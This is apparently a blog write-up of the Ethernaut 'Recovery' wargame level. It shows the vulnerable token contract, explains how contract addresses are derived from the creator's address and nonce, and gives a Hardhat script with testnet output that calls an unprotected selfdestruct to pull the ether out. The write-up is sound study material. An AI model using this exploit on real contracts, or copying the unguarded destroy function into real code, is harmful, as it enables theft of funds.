Ethernaut #17 Recovery
Recovery
Challenge
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001
ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001
ether from the lost contract address.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
Background
There is not much new stuff going on here. The main difficulty here is to identify the address of the SimpleToken
contract that was created from the Recovery
contract. This can be done manually using the block explorer.
Edit
After finishing the challenge and reading the success message I relized that I missed one step that could simplify things a bit. The address of a new contract instance can be computed using keccack256(address, nonce)
where the address
is the address of the contract that instiates them, and nonce
is an incremental value. This is the case because the contract is created using the create
opcode.
There is also another opcode, create2
, which uses another way to generate the address
such that it is predictable.
Attack
Going through the block explorer its easy to find the contract that was created by the Recovery
contract. This contract must be a SimpleToken
contract and is the one we are looking for. The next step is simply to call the destroy
function with the attacker account address to get the contract funds.
- Check the
Recovery
contract transactions here - Find the
SimpleToken
contract here - Call the
destroy
function with the attack account address as argument on theSimpleToken
contract
Edit
Instead of doing the first two steps we could simply use keccack256(address, nonce)
with the address
of the Recovery
contract and a nonce
of 1
.
recovery-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
recoveryAddress = "0x8Fa7f6be7f007F88D80cC7D95a30e53343967238";
// contract = await ethers.getContractAt("Recovery", recoveryAddress);
// this address was manually found using the block explorer
// simpleTokenAddress = "0xbFB528f5Fe26E884621cfD14e3E72fEfABd1767c";
// =================== Edit ===================
// calculate the contract address
simpleTokenAddress = ethers.utils.hexDataSlice(
ethers.utils.keccak256(
ethers.utils.RLP.encode(
[recoveryAddress, "0x01"]
)
), 12, 32)
// ============================================
contract = await ethers.getContractAt("SimpleToken", simpleTokenAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
console.log("Level address : " + contract.address)
console.log("Token Name : " + await contract.name())
// // get current balance
console.log("Current Balance: " + await ethers.provider.getBalance(account.address))
// trigger selfdestruct and return funds to account.address
tx = await contract.connect(account).destroy(account.address)
receipt = await tx.wait()
// get new balance
console.log("New Balance : " + await ethers.provider.getBalance(account.address))
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/recovery-solve.js --network rinkeby
Level address : 0xbFB528f5Fe26E884621cfD14e3E72fEfABd1767c
Token Name : InitialToken
Current Balance: 137075271261352909
New Balance : 137862327261352909
Success Message
Contract addresses are deterministic and are calculated by keccack256(address, nonce)
where the address is the address
of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce
, for regular transactions).
Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.
An interesting blog post by Martin Swende details potential use cases of this.
If you’re going to implement this technique, make sure you don’t miss the nonce, or your funds will be lost forever.